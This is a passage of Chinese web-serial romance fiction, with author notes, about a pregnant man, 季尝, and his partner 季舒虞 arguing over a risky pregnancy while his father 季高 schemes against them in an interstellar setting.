季舒虞一时间不能找到确切的词语来形容她们的关系,形容她现在的心情。 可能喜欢一个人是不需要理由的,因为她找不出自己喜欢季尝的理由。 克莱德来的很快。 一向温和的人,风风火火地赶过来,努力维持着体面:“究竟是什么时候的事,怎么才告诉我?” “……四个月,它会动了,很乖,”季尝朝他招了招手,“克莱德,你摸摸。” 季尝第一次承担孕育一个生命的使命,也有一些新奇。 他的好友满脸复杂地坐过去,伸出手轻轻地隔着衬衣将手放上去:“四个月,你的肚子才一点点,季尝,你没有被照顾好。” 说着,他的眼睛看向季舒虞,带着谴责。 “是我主动离开的,跟她没有关系,她也是刚知道。”季尝叹气,轻轻拍了拍他的手,“好了,给我做个检查吧。” 克莱德这次没有说什么,微不可查地叹了口气,起身给他做检查。 他算是看出来了,不能挑季舒虞的错处,季尝只会护着她。 明明离死只差一点点的时候,季尝都不怕,但现在克莱德给他抽血,他却攥着她的手,掌心都有些冷汗。 “怕疼吗?”季舒虞问。 “是啊,他一直都很怕疼,也害怕打针的。”克莱德盖上盖子,说。 但从前季尝在她面前的时候从来不会这样,最多脸色会发白,仍旧是似笑非笑地看她的反应,不放过每一个嘲讽她的时机。 从不会有这么大的反应。 可每次杀异种的时候,他总是冲在前面,好像失去了痛觉神经,跟她交手的时候也总是不要命的打法,季舒虞以为他不痛的。 但季尝嘴硬:“不,我只是紧张。” 他看着冰冷的针头抽出来,精密的仪器很快发出滴滴的声音,克莱德观察着仪器上的数据,眉头皱起,把报告单递给季舒虞。 “喏,你自己看。” 检测单上的数据很清晰,季舒虞细细地看着,就听季尝在一旁催促:“什么东西,怎么了,为什么不让我看?” “……高等级,”季舒虞拿着报告单的手松了一瞬,尽量用通俗易懂的话语跟他解释,“季尝,高等级胎儿,孕育很艰难。” 这是极低概率的基因遗传问题。 季尝顺势抽走报告单,待看清楚上的数据后,他也沉默了。 他虽然不如季舒虞更懂这些,但也能看懂一些基础的数据。 这些数据几乎没有正常的,远远高于或者低于正常水平,这是非常危险的数据。证明他的身体不健康,胎儿的发育也不是那么正常。 寻常的孩子都是在青春期进行分化,但高等级基因会在的胚胎或者婴幼儿时期进行分化,这只会加重父体所承受的风险。 哪怕科技和医疗进步,季尝也只有一半的活下来的概率,他身体本来就很差,再加上缺少了一个月的信息素与营养,雪上加霜。 孕育她的孩子,他甚至会死。 “你们决定,到底留不留。”克莱德的目光落在季尝身上。 “百分之五十的可能性,”他轻声说,似乎是自言自语,掌心覆在柔软的小腹上,“我有百分之五十活下来的概率,这是一件好事……” “你疯了?” “不行。” 她们几乎同时开口,又默契的让房间恢复了沉寂。 她的确想要一个她们两个的孩子,但她不想季尝死。 如果生一个孩子的代价是季尝死掉,那她宁可不要。 “……你难道不觉得身体不适吗?”克莱尔皱紧了眉头。 季尝回以沉默,他的身体就没有舒服过。 本身他就有心脏方面的疾病,身体也很弱,无论如何锻炼,都没有达到Alpha强健的程度。 起初还没有什么感觉,当时他还在季舒虞身边,只要他想,就能获得足量的信息素,那时候它应该长得很好,所以季尝也没有那么大的感觉,只是觉得身体很累,异常疲惫,总是有睡不完的觉,偶尔感冒,微微发热,但只要赖在季舒虞怀里,就又能好很多。 克莱尔看着他垂着头,看着手中那张检测报告单,逐渐放缓的声音:“别的胎儿缺整整一个月的信息素,都有可能出现非常危险的情况,更何况是你。季尝,缺了整整一个月,这需要在考虑你身体和个人承受能力的情况下加量补回来,很危险,你会被榨干,会死。” 这太危险了。 季尝再怎么厉害,身体很差也是事实。 大量而浓烈的信息素灌输他承受不住,没有人希望他去冒这个风险。 季尝垂着眼睫,喉头有些干涩:“……这是我的孩子。” “它已经会动了,在我说话的时候,它也会给出回应。”他抬起眼睛,平静如一潭死水,就这么望着她。 季舒虞握着他的手不自觉地发紧:“别这样,季尝。” 她也舍不得。 在得知季尝购入胚胎解离素后,她的情绪产生了极大的波动。 其实她一开始没有那么喜欢小孩的,后来照顾维娅,照顾牛奶,季舒虞也逐渐开始期盼,期盼她和季尝也能有一个可爱的宝宝。 刚刚她是真的很高兴,高兴季尝留下了这个孩子,即将做母亲的感觉陌生又新奇,她很喜欢,也很开心。 但季尝不该赌,更不该在这种事情发生之后,用自己的命去赌。 “你想我怎么做?”季尝平静地望了过来,问。 那双琥珀色的眼睛像是平静的湖泊,映出她的身影。 季舒虞莫名喉头有些发干,她整理措辞,尽量不让自己的话那么残忍:“引产吧,季尝,这对你身体伤害太大了。” 引产。 他已经很久没有眨眼了,眼球有些干涩,缓慢地闭上了眼。 “想要小孩的是你,现在要打掉的也是你,我不同意。”季尝的声音很疲惫,把手从她的掌心中抽了出来,“季舒虞,我很累,你能不能也考虑一下我?” 季舒虞觉得心脏有种抽痛的感觉,她看着季尝的眼尾逐渐变红,声音放缓:“……正是因为考虑你,我才做出了这样的决定。” “那就尊重我。”他声音没有起伏—— 作者有话说:失去了力气,我要多多的评论 第69章 你死了我怎么办 他的命就是赌出来的。 季尝是名副其实的赌徒, 当年,选择跟季高走就是在赌,他赌赢了,活到了现在, 每次出任务都是在赌, 而这次, 他选择信任季舒虞, 目前看来也赌赢了。 再赌一次而已,没什么大不了的。 “……你们两个好好商量一下吧, ”克莱尔看了她一眼,“尽快决定。” 他关上了门。 季舒虞压下心中不适的感觉, 放缓了声音:“太危险了,季尝, 你有可能死, 我们不要这个孩子, 好不好……” 她当然想和季尝有个孩子,可前提是季尝活着。 她爱季尝, 不希望他受到任何伤害。 如果他不在了,这些安排也将失去意义。 “我要生。”季尝面无表情,不为所动。 他会在某些时候变得格外固执, 但唯独不该在这次。 “不行!” “我说, 我要生。”他不肯让步。 季舒虞额角的青筋跳了跳:“你会死!” “那就死!”季尝的声音拔高, 那双眼眸带着怒气, 一大滴眼泪悬在眼睑要落不落, 他突然笑出了声,“季舒虞,你凭什么左右我的决定?” “……那我呢, 季尝,你死了我怎么办?”女人的嗓音有点低哑,似乎格外的疲惫。 这次,季尝没有说话。 他木木地坐在床上,身子很单薄,看上去脆弱又颓然。 怎么办,是啊,她们该怎么办。 季舒虞抬手,将季尝单薄发冷的身子拢进怀里,男人就僵着,任由她搂着,很久没有说话。 明明身体那么近,也能清晰地听到彼此心脏跳动的声音,可她们的距离仿佛很远很远。 “我不会拖累你,季舒虞。”好半晌,季尝轻声说,“给我点时间,给宝宝点时间……” 女人的手紧了紧,而后松开了抱着他的手:“我们冷静一下吧。” 季尝看着她离开的背影,空空地吞咽,而后闭上了眼睛。 掌心压在心口,一滴冰冷的眼泪掉在被子上,很快洇湿一小片水痕。 他活不了多久的。 季尝其实早就知道,他的身体太弱了,哪怕他从来没有疏于锻炼,也不意味着他能像正常人一样活着。 他的心脏很不好,哪怕换成仿生心脏,承受着巨大的危险,也不一定能延缓多久。 发病的时候他将承受巨大的痛苦,像是被一只无形的大手攥紧,严重的时候连气都喘不上来,一直都是这样过来的,在很痛的时候,季尝也曾想过,死了是不是就没有这么痛了? 如果活着比死亡还要痛苦的话,为什么不选择去死呢? 但他还没有坐上那个位置,每次他快要得手的时候,季舒虞都会及时出现,打乱他的计划,季尝不甘心,至于这些死不死的事,也不在他的考虑范围内了。 今天季尝又想起这件事。 他好像没有那么想死了,从什么时候开始的呢,好像这次从M618星回来的时候就有一些不一样了。 也正是因为知道他活不了多久,也陪不了季舒虞多久,他有些不安。 可能遗忘比死亡更可怕。 季舒虞身边优秀的Beta和Omega太多了,如果他死了,季舒虞估计会很快忘记他。 只要想到自己会被忘记,心脏就被压的喘不上气,他闭着眼睛,汲取着卧室里残留的硝烟味,卧室却只剩下了青涩的酸味。 季尝不想这样,他宁可给季舒虞留下些什么,让她看到就会失神,就会想起他,哪怕她会痛苦。 他不希望自己被忘记。 孩子就是很好的选择。 季舒虞没有亲人,没有家人,他想给季舒虞一个家。 被她亲手养大的孩子,不会背叛她,因为这是她们两个的孩子。 公馆内格外安静,季舒虞拨通了一个通讯:“他都知道了?” “是,长官,我们该早做准备了。” “嗯,”季舒虞应了一声,“但这件事不要跟他说。” 文青山了然:“那这段时间呢,长官都不回到这里了吗?” “先处理这些。”她对此避而不答。 克莱德的声音从耳麦中传来:“现在方便吗?” “嗯。”季舒虞的指尖一下下叩击在桌面上。 “你知道的,他的身体本来就不好,最好还是拿掉这个孩子比较好,”克莱尔说,“相信你和我一样,不希望他受到任何伤害,如果是这样的话,还请你说服他。” 她深深地吸了一口气:“我比任何人都更不希望他受到伤害。” 她不懂季尝怎么非要这样,明明这个孩子会要了他的命,她们好不容易走到现在的。 她还没有给季尝更多好日子,他却要为了一个孩子选择赌死亡的几率,季舒虞不喜欢这样。 想要一个和季尝的孩子,只是想让她们的羁绊更深,可如果季尝不在,一切的一切都没有了意义,季舒虞不希望有什么从她身边夺走季尝。 她三天没回家。 季尝没有联系她,显然,他还没有做好决定,或者是说,他还在固执己见。 他总是格外有主意,只要认定的事,几乎没有人能让他改变主意。 这点和她很像。 可有时候她们正是太像,太了解对方,会让某件事推动不下去。 “……我们都很了解他,”克莱尔那边沉默了很久,叹了一口气,“如果没有人能动摇他的决定,季尝会承受很大的痛苦和折磨,只有你能缓解。单纯释放和注射信息素,带来的帮助微乎其微,你尽量多陪伴和安抚他,他现在可以行房,或者说,非常应该如此,在他情绪放松的时候,信息素安抚的效果会更好。” “如果你还是不能成功说服他的话,就给他补充信息素吧。” 她嗯了一声:“还有没有更稳妥的办法?” “高等异种生物的研究已经有结果了吧,”克莱尔连连叹气,“哦,这太不可能了,那些都是非常机密的东西,你又怎么能接触得到?” 季舒虞捏着眉心:“你只需要告诉我,我该怎样他才能好起来。” “你得拿到高等异种生物的研究成果,不过我不知道这是一个怎样的实验,估算着时间,他们应该已经有一些新的发现了,有了本次研究成果,最终的结果有极大可能把风险控制在10%以内。”克莱尔总结,“高等异种和人类有太多相似度。” 季舒虞:“知道了。” 克莱尔:“有把握吗。” “我会想办法的。” 她必须想到办法。 文青山敲门:“长官。” “东西送过去了吗?”季舒虞头也不抬地问。 她安排易灼把一些用品和她的信息素送去公馆。 她不想逼季尝,他情绪不好,季舒虞更希望他能自己想清楚。 如果这个孩子会给他带来很大的伤害,就不该留。 文青山说:“还没有,季先生去了六角大楼。” 六角大楼,那是季高的地方。 “什么时候去的?”季舒虞处理文件的动作一顿,抬眼看她。 “刚收到消息,应该还没多久,要打开监听设备吗?” 季舒虞靠在椅背上,远远望向对面的高楼。 —————————— 办公椅向前挪动了一些,年长的上位者审视着自己的儿子:“季舒虞从来不是什么乖孩子。” 他没有搭话,静静地听着季高后半句话。 “她已经开始偷看那些东西了,”季高微笑着看他,“我的儿子,你知道这件事吗?” 季尝:“她不会这样的。” “季尝,想好了再回答我。”季高招了招手,他的精神体黑豹就乖乖匍匐在地,任由他抚摸,“我不喜欢任何人在我面前撒谎。” “我不知道这件事,她也不会这样的。”他皱了皱眉,“父亲,您亲自收回了她的权限,纵使她有天大的本事,也无法查看这些信息。” 季高手下的黑豹脸上有一道长长的疤,听到他不同寻常的语气睁开了半眯的眼睛,橙黄色眼瞳就这么看着他。 “当然,我还记得,季尝,我没有老糊涂,你不用特意提醒我。”季高说。 “原来父亲记得,”季尝点点头,一脸认真地问,“父亲的记性果然很好,既然如此,能不能告诉我,当年母亲留给我的东西去哪了?” 年老的上位者半眯着眼睛,他十指交叉,眼里没有半分笑意:“儿子,怎么变得这么咄咄逼人,你和她真是越来越像了。” 他平静地回望:“父亲,我本来就是这样,是你不够了解我,一如你不了解我的母亲。” “那么,这次叫你来,我正是要跟你谈一谈你母亲的事。”季高像是敏锐的鹰隼,一错不错的看着他,“这么些年,你应该很好奇她是怎么死的吧?” 季尝没有眨眼,哪怕现在眼睛已经变得很干涩。 他看着眼前这个叫了将近三十年父亲的男人,心音像是密集的鼓点,修剪圆润的指尖几乎要穿透掌心:“……我母亲,是心理疾病,是跳楼自杀。” “不对,季尝,是他杀。” 季高微笑着看着他。 他似乎在欣赏他崩溃的模样。 眼前的景象有些模糊,尖锐的嗡鸣声让他稳不住身形,季尝只觉得胃里翻江倒海,他的情绪不稳定,小腹也传来一点动静,他极力忍住身体的不适,生怕被季高看出些什么。 “想知道是谁吗,季尝?”季高的声音还在继续,令他想吐,“好孩子,你最是听话懂事,不如这样,我们做个交易,过段时间,你按照我的吩咐,把她带去指定地点,我就把薇薇安临死前看到的一切景象给你,怎么样?”—— 作者有话说:每天码一点,挤出来了(开朗) 没办法手机码字太慢咯 本章留评有随机数额红包降落,感谢小宝们的等待[狗头叼玫瑰] 第70章 别哭 外面下了一场很大的雪。 季舒虞带了一身冰冷的风雪味道回到公馆。 【主人, 欢迎回家。】 公馆内还弥漫着酸甜的味道,像是青涩的果子,她转头正好看到季尝窝在沙发上睡觉。 他鼻梁上还歪歪斜斜地挂着浏览镜,忘了摘, 就这么把自己蜷起来了, 身上也只盖了一个小毛毯, 像一只脆弱的、毛茸茸的小兽, 用这种方式维持温度。 便是有些苍白,看上去很疲惫。 他无意中释放一点信息素寻求安抚, 那股淡淡的味道缠着她,是季尝想要多汲取一些。 属于Alpha的信息素像一张精密的网, 缓缓弥漫过去,不容置喙地把他整个人都包裹起来。 明明是肃杀的硝烟味, 能轻而易举的摧毁一片森林, 可季尝一点都没有要躲开的意思, 他很喜欢,也很安心, 眉头舒展开,身体不由自主的朝那边挪了挪。 毛毯也随着他的动作滑落,露出了他还算平坦的小腹, 和一节流畅的腰线。 季舒虞垂下眼睛, 慢慢把手探向他温暖的小腹。 她想要摸摸她们的宝宝。 可能因为指尖还有些冷, 在还没有碰到季尝的时候, 他就轻轻瑟缩了一下。 但在精神力的覆盖波动下, 她明显感觉到了微小却有力的回应。 一个小小的能量波动贴住她的手指,蹭了蹭。 热的,轻轻的。 季舒虞很难形容这是什么心情, 她的手指维持着这个姿势,屏住呼吸,想要继续探寻的时候,却对上了季尝的眼睛,那双清透的琥珀色眼瞳看着她。 “别杀我们的宝宝。”他说。 季尝的声音很轻,却带着微不可查的恳求。 他从来没有求过谁,季尝不想自己低头,可他没有那么多时间了。 他不想自己被遗忘,好像从来没有存在过。 “孩子就那么重要吗,”季舒虞垂下眼睛,掌心轻轻贴在他的手背上,“季尝,孩子还能有,这个孩子会给你带来太多的危险,我不希望你因为一个孩子……” “别这么冷漠,这是我们的孩子。”季尝低声打断她,“生下来,我们一起把它养大……好不好?你摸摸它,它很喜欢你的。” 在他期盼的视线下,季舒虞没有动,她看着坐起身的男人。 很久没有得到回应,季尝望着她的眼睛,突然猛地抱住她,把湿冷的脸埋在她的颈窝,声音有些哽咽:“我只是、只是想和你有个家。” “我们好不容易走到现在……” “嗯,我们好不容易走到现在。”季舒虞轻轻拍了拍他的背。 这句话更像是默许。 大滴大滴的眼泪让她的衣襟变得温热,男人单薄的脊背微微颤抖着,水痕逐渐湿冷。 季舒虞拢住了他的身体。 “季尝,别哭。”她贴着季尝的面颊。 他没有哭出声音,季尝不希望他软弱的一面被看到,也不希望他的孩子是不被母亲期待的。 像他一样。 他是私生子,不被看好的、人人喊打的私生子。 是母亲被欺骗着生下的,拖累了薇薇安一生。 这个行为有些固执的幼稚,像是只要他生下这个孩子,就证明他走了母亲的老路,只是有薇薇安不同的是,他获得了成功。 这样就能证明,当年不是他的错,也不是母亲的错。 哪怕他会死。 季舒虞缓缓收紧了手臂,将他抱紧:“我不知道你想要什么,你什么都没有说,但是我想,你应该会喜欢这样。” 她听到轻轻的吸气声。 “……我渴了,”季尝的声音闷闷的,“也很困、很累,陪我睡会。” 季尝没有明说,但她能感觉到,他的身体很渴望得到她和她的信息素。 明明身体很想念她,可被季舒虞抱到卧室后,他规规矩矩地躺在自己那个区域,什么都没有做,只是那样看着她。 像是克制的在表达想念。 “祖父今天提起了你。”季舒虞面不改色地摸了摸他的脸,“问起你身体是否还好?” “……不好,”他闭上眼睛,不看她,“我恶心的厉害,你也不在我身边。” 季舒虞不知道他刚刚的眼神为什么会这么难过,季尝像是在刻意的回避这个话题。 她不觉得季高会说什么有利于她们的话。 但他不主动提起,她也默契的不问:“你暂时还不能出去,我让易灼给你送来的东西,你收到了没?” “嗯,闻到他身上的信息素味道,我又恶心了好一阵。”季尝说,“我以为我们吵架,你就不打算回家了。” 季舒虞握着他的手,轻轻贴在自己的唇瓣上:“我们没有吵架,季尝,我只是很担心你,也希望你能想清楚,再做决定。” “我做了决定,”季尝的目光从她的手背上移,缓声说,“我要留下我的孩子,如果你想,可以和我一起照顾它。” 说到这,他微微蹙起了眉头。 明明他不是想说这个的。 他也想好好和季舒虞商量着留下这个孩子,可只要想到她有杀死这个孩子的想法,季尝就无法冷静。 明明他是希望季舒虞接受她们的宝宝,和他一起照顾它,不要像他一样成为不被期待的孩子。 她看了季尝很久,久到这人开始躲避她的视线。 “不愿意就算了,我自己……”他想要抽出自己的手。 季舒虞没有松开:“是谁说我不愿意的,我可以摸摸宝宝吗?” 听她这么说,季尝抿唇,别过头闷闷地嗯了一声。 她的爱人总是很别扭。 不过没关系。 季舒虞的掌心落在他的小腹时,能清楚感觉到一阵能量的起伏,隆起一点的腹线也随着他的呼吸动作。 温热瓷白的小腹传来一点响动,这种感觉很新奇,那是一个拥有她和季尝基因的宝宝。 季舒虞有些舍不得收回手。 “身体会不会不舒服,毕竟身体不好,不比年纪小的omega……”她关切地看着他,生怕他自己忍痛。 季尝很会忍,当年受了重伤,但碍于她在场,就一声也不吭,她赶去救援的时候,季尝肋骨断了好几根,正靠在墙角,沾了伤口上的血,慢吞吞地在墙上作画。 她挑眉:“还没死透?” 季尝就闷闷地咳嗽:“嗯,等你补刀。” 他用血在破碎的墙上画了只兔子:“……小时候我妈妈就这么哄我。” 言毕,他啧了一声,抬眼看着她笑,很欠揍的样子:“忘了你没有妈妈,没关系,我不介意教你。” 说什么都不肯表现出真实的模样。 季尝避开她要触碰自己的手,盖上了小腹:“呵,嫌我人老珠黄,跟我上床做什么?” 这是不让她摸了。 “没有,小叔是最漂亮的。”季舒虞说的真挚又诚恳。 他显然不信,只当是敷衍和搪塞:“你身边那么多优秀的Omega,漂亮的、贤惠的、温柔的,你喜欢什么样的没有,怎么就觉得我最漂亮。” 季舒虞怎么可能真的一直喜欢他呢? 他年纪大,脾气又不好,季舒虞不该喜欢他的。 她是武装总协调官,年纪轻轻坐上了这样的高位,身边莺莺燕燕也多,再怎么说也是也不该轮到他的。 季尝对自己有清晰的认知,他其实很介意这一点,因为有些太看重季舒虞了,他也会克制不住的拿自己和那些小年轻做比较,但是季舒虞的话深深的刺痛了他。 既然她身边有那么多优秀的选择,又回到他身边,看着他这张年老色衰的脸做什么? “我在小叔身边长大,如果不和小叔组建家庭,你是不是该带我去看眼科?”季舒虞拿他之前的话来堵他,语气却那么温和,“小叔,没有谁能入得了我的眼了,这怪你。” 季尝似笑非笑:“哼,大小姐的花言巧语真是越来越不一般了。” “是小叔教的好。”她亲了亲男人的唇瓣。 她的眼神那么温柔,季尝觉得自己要溺毙在她的视线里了。 明明季舒虞不该喜欢他的。 “这种花言巧语以后少说……” “那以后要多说实话吗?” “你明知道我年纪大了,却还说这样的话……” 季舒虞就顺势捧起他的脸:“我爱你。” “……”这次,季尝彻底哑了声。 他被迫跟季舒虞对视,脸颊和耳尖有些烫,就连呼吸频率也加快。 季尝甚至有些不知道该怎么应对,他很受不了被季舒虞捧起脸,明明他才是成熟、年长的一方,这个行为有些纯情、暧昧,又挑衅,像是带了什么暗示,于是他有些恼羞成怒地翻身,将季舒虞压在身下:“季舒虞,是你先招惹我的。” “嗯。”她散着发,铺在柔软的沙发上,就这样被他禁锢着,没有挣扎,只坦然看着眼前的男人。 他不知道季舒虞究竟在答应什么,颇有些气势汹汹地威胁:“……大小姐,我是不会放过你的。” “嗯,正好,”季舒虞抬手捏他的脸,破坏了他维持很久的模样,“我也没打算放过你。” 那就这样纠缠一辈子吧。 侄女和小叔,养女和私生子,做势均力敌的死对头,做星际的丑闻。 她说话总是这么直白,季尝听得心脏扑通扑通直跳。 明明酸涩跟委屈抵达了顶峰,就这么被轻易化解掉了,可似乎全世界都在阻拦她们在一起。 她们在一起的时间不多了。 季高让他在母亲的死因和季舒虞之间做出选择。 一个是他查了二十余年都没有结果的,几乎要成为他执念的真相,另一边是他的爱人。 季舒虞起身,为他掖好被角:“睡吧,明天我们去参加舞会,那里能搜集到更多罪证。”—— 作者有话说:小叔眼中的自己:年纪大,身体差《 》 70-74 第71章 就这么喜欢我? 第七十一章 季尝是一条怕冷的蛇。 公馆恒温, 但到了晚上,他还是会下意识地往她怀里钻,靠近温暖的地方,季舒虞没有推开过他。 但季尝睡觉并不乖, 他会乱动, 闹得她晚上睡不好。 想必谁都不能想到, 白天刺猬一样的人, 到了晚上蜷缩在死对头的怀里睡。 踢被、不安分地滚来滚去。 每天都不例外,今天尤其过分。 先是怕冷, 钻到她怀里,额头抵在她的颈窝, 后面又嫌热,枕着她的胳膊开始踢被。 天刚擦亮, 季舒虞压了压额角, 希望他醒来不要倒打一耙。 果不其然, 最了解季尝的还是她。 男人的脸颊还带着薄粉,发觉自己在她怀里, 怔愣了一瞬,憋了好半天,说:“大小姐, 就这么喜欢我?” 喜欢到睡觉也搂着不松手。 季舒虞早有应对。 她直接掏出监控给他看, 上面清清楚楚拍下了昨晚发生的一切, 比如他如何过分地抢占被窝, 如何蛮横不讲理地将她挤到床边, 还要枕着她睡。 “看得清楚吗,小叔。”季舒虞指尖轻缓地落在他腰间。 怀孕后,他的身体越来越敏感了。 证据就在眼前, 还有一只在他腰间撩拨的手,季尝想要避开,但被她这么抱着,动作不能。 就这样他才没说什么,一副只许州官放火,不许百姓点灯的样子。 星际每年都会由高层举行蒙面舞会。 有时候,蒙面遮住的是人的脸,却能让人变得更为丑陋。 在酒精的作用下,他们失去了人性,像是原始森林的一头头野兽,贪婪地看着眼前的猎物。 而原始森林有着极强的传染力,哪怕是格外正直的人,来到这里变成野兽也是必然的,只是时间问题。 季尝微笑着应付着那些Alpha和beta。 “你身体不舒服?”克莱德闻到那股淡淡的草木味道,问。 季尝唇角的弧度没变:“还好,我只是厌恶他们身上的味道。” 克莱德的声音从精神领域里传来:“当然,你现在孕育着季舒虞的孩子,她又没有将你彻底标记,这当然是很难受的事情。” Omega会下意识排斥非伴侣味道。 这太正常不过了。 季尝将一只怀表递给他:“罪证都在这里了,你保存好,如果我出了什么意外……” “季尝,你现在不是一个人了,”克莱德打断他,“所以,别总是做这种假设。” 否则他费力挽留季舒虞,想方设法留下这个孩子,还有什么意义。 他强硬地压下反胃的感觉。 不知道为什么,今天宝宝格外活跃,季尝不着痕迹地安抚着它,这种感觉有些奇怪,像是在提醒他什么。 克莱德没有得到回应,探头催促他:“听到没有。” 他远远地望向高层的一堵墙:“嗯,我知道了。” 墙后,季高的声音响起:“长生计划进行的如何了?” 智能体为他换上一杯咖啡:“请您放心,实验很成功,目前解决了几项排异反应,想必用不了多久,您就能永生不灭。” “哈哈哈哈哈,好,”季高抚掌大笑,“原本我还担心,我的儿子和孙女明显不够听话,你真是给我带来了好消息。” 长生计划持续了十多年,是这段时间捕获了高等异种,才能有了这么大的进展。 高等异种聪明、难以捕捉,为此,他损失了许多高等级Alpha和研究人员。 他透过那面玻璃,看向朝这边看来的季尝。 这是一面科技玻璃,外部看向内部,只认为这是一面冰冷的墙,但内部能清楚看到外部发生的一切。 很显然,季尝已经开始怀疑了,或者是他已经发现了这秘密。 他太敏锐了。 “我这个儿子实在是聪明,只是可惜,他不那么听话,作为小辈,不服从上级的安排和指令,就已经没有存在的意义了。”季高幽幽地叹了口气,“他很像他的母亲。” 智能体安慰道:“如您所说,不服从命令的确没有存在的意义,您不用伤心,等拿到了长生计划的最终实验成果,您随时可以抹杀她们。” “这次为了捕获和研究高等级异种,耗费了太多的人力和物力,告诉下面的人,这段时间低调一些。”季高微微一笑,“可是有不少小老鼠等着窃取我们的研究成果。” 智能体露出一个笑容:“您放心,您要的‘戏台’,我也安排好了,现在就等成果出来,邀几个角儿上台为您演一出大戏了。” 叔侄相爱是星际和世家的丑闻,但有情人相残相杀,可是难得的好戏。 季舒虞这样恪守规矩的人,居然批准季尝的调令后,又在一个月后将人调回原位。 简直胡闹。 不听话的后辈,他当然要清除。 大厅。 “老大,这一任务实在太难了,季舒虞可是S级Alpha,我们怎么能掣肘她。”一个Alpha摘下半脸面具,抹了把脸。 “怕什么,季大执行官可是她的阿喀琉斯之踵啊……” Alpha点头:“我知道了,老大放心。” 外面下起了冷雨。 季尝搀扶着不胜酒力的克莱德,把他送司机手上:“让埃文给他醒醒酒。” “长官不用担心,交给我。”司机多看了他两眼。 季尝长相俊美,因着喝了酒,眼尾带着一点红,嘴唇是湿润的淡粉,看上去格外……美味。 “看什么,”季尝微笑着对上他的眼睛,“有什么想说的吗?” 他看上去是真的醉了,见他没有要攻击的意思,司机试探着问:“……或许,我可以送季先生回家?” 季尝哼笑一声,拨通季舒虞的通讯。 天上降落的不再是雨水,而是一颗颗冰雹,幸而块头不算大。 见他在这里站了很久,侍应生朝他走来: “先生,是否需要专车送您回去,您的花名是……” 季尝按了按额角,离那个beta司机远了些:“在下小冰雹,接我一下。” “呃,小冰雹先生?”侍应生犹豫了一下,问,“我为您叫车,这边会保护您个人隐私。” 通讯设备的耳麦里传来女人带笑的声音: “小冰雹大人,我在你对面。” 季尝扬了扬眉头,顺势望了过去。 一架飞行器从对面稳稳停在他的面前,季舒虞单手搭在窗边,正侧身朝他看来。 她来得很早。 早在季尝搀扶克莱德出来的时候,她就已经在飞行器里处理公务了。 Beta司机的试探也没有逃过她的眼睛,不过季舒虞并不着急,她太了解季尝了,也知道他有处理好一切的能力,哪怕他又不听话地喝了酒。 她瞥了那个beta司机一眼,这人就像见了猫的老鼠一般,飞快载着克莱德离开了。 “人品不端,不如一会问问克莱德是否安全。”在季尝坐到她旁边后,季舒虞说。 “噢,大小姐,你的先生已经被冻得手脚发冷了,你却关心别的omega?”季尝倚在角落,眼睛带笑,看上去亮晶晶的,“不考虑你先生因为这句话会多么伤心吗?” “我先生不是那么小气的人,我爱我的先生,爱屋及乌,也会关心他的朋友,”季舒虞关闭窗户,凑近他,“不然他那么善良,没准晚上又要担忧了。” 季尝顺势贴上去,吻她的面颊:“胡说,我才不会。” “一切顺利吗?”她揽住季尝的腰。 孩子需要母亲信息素的灌溉,经过这段时间她日夜不断的释放安抚信息素,现在已经能感受到季尝小腹的弧度了。 每次被她碰到腰,就像被拎起了后颈的猫儿,叫人掌控了命门。 “腰酸,嗯、别这样……” 季尝几乎软在她怀里,不轻不重地拍了她一下,像是嗔怪。 “好辛苦,小叔。”季舒虞话锋一转,“不过,这不是你喝酒的理由。” “……别这样,好凶。季舒虞,我好想你,”见她要算账,这人就耍赖似的轻轻抵着她的颈窝,“哪怕你现在在我身边,我也想你。” 明明身体不好,不能喝酒,酒品也一般,但季尝就是时不时馋一口,被发现了就办法躲罚。 他看上去是有些醉了,但头脑还算清醒,也不会误事。 季舒虞不打算今晚追究这件事,开启了自动飞行模式:“有多想我?” “嗯……”季尝想了想,拉着她的手,覆在温热的小腹上,“让宝宝告诉你。” 这个孩子很聪明,它似乎已经能明白一些词汇了,能及时提供一些互动与反馈。 它动了一下,季舒虞清清楚楚地感觉到了。 “它喜欢你,亲爱的,”季尝说话还带着淡淡的果酒香气,甜丝丝的,这会垂着头跟宝宝说话,“喜欢妈妈,是不是?” “喜欢妈妈,也喜欢爸爸。”季舒虞看着他。 季尝的眼睛很漂亮。 尤其是噙着眼泪的时候,亮晶晶、水润润,像是上好的钻石水晶,干净清澈。 季尝看着她,没忍住,吻住她的唇瓣。 在飞行器里亲吻很危险,倒并非是生命安全,而是季舒虞的飞行器私密性不够,他总是担心被路过的飞行器看到。 毕竟小叔和自己侄女接吻的事登上热搜可不是值得光荣的事。 “……哎呦,”季尝突然抽了一口气,撑着腰,似乎是被惩罚了刚刚的分心,“我的腰很痛,大小姐,来帮我按按。” 怀孕后,季尝使唤她倒是越来越顺手了。 季舒虞就着拥抱的姿势,掌心轻柔地为他按揉后腰:“这段时间时局动荡,季高的长生计划有了成果,许多势力盯紧了这边,季高又将我堪为眼中钉肉中刺,所以这些天会很忙,我会尽量顾好一切。” 季尝“嗯”了一声:“没事,这么多年我们也都是这么过来的,你要小心,需要帮忙就开口,我干脏活很顺手的。” 他停顿了很久,突然问:“跟你在一起,能不吃苦吗,我不喜欢吃苦。” “嗯,能,”季舒虞顺着他的发丝,像是擦拭珍爱的珍宝,“我们不吃苦。” 季尝点点头,又说:“我要留下宝宝。” “嗯,留。” 他没再说话,蹭了蹭季舒虞,就这么抱紧了她。 季尝突然觉得自己很幸福。 公馆内温暖,修长的手指剥着一颗青葡萄,葡萄的汁水浸湿他的指腹,季尝慢条斯理地处理掉葡萄皮,喂给她。 季舒虞评价:“很酸。” 他最近不吃酸葡萄,改吃甜的了。 季尝点点头,吐出荔枝核:“是很酸。” “……就不能让我吃点甜的吗?”季舒虞费解地看着他手边成堆的荔枝。 男人的手指就将剥好的荔枝递过去:“最近口味变得好快,估计是宝宝想吃。” “是不是该给宝宝取个名字了?”季舒虞刚问出口,莫名有一种不好的预感。 季尝点点头,吐出荔枝核,若有所思地说:“嗯,就叫葡萄吧。” 不该对他抱有什么期待的。 毕竟他的猫就叫小猫,捡的孩子叫牛奶,精神体叫脆皮。 宝宝叫葡萄,听起来很随便,但他向来这样。 “不,”季尝突然改了主意,认真地说,“还是叫荔枝吧,嗯,只不过这对于葡萄来说有些不公平了。” 荔枝,也不是不行。 季舒虞也逐渐发觉,怀孕后的季尝是有些不一样的。 他也变得像一颗荔枝,清甜又多汁。 “再吃点水果醒醒酒。”季舒虞换好衣服,刚开口嘱咐,出来就看到窝在沙发上,给自己倒了半杯果酒的季尝,“……季尝。” 被当场抓包,他没有半点心虚,反倒笑眯眯的:“大小姐,你喝吗?” 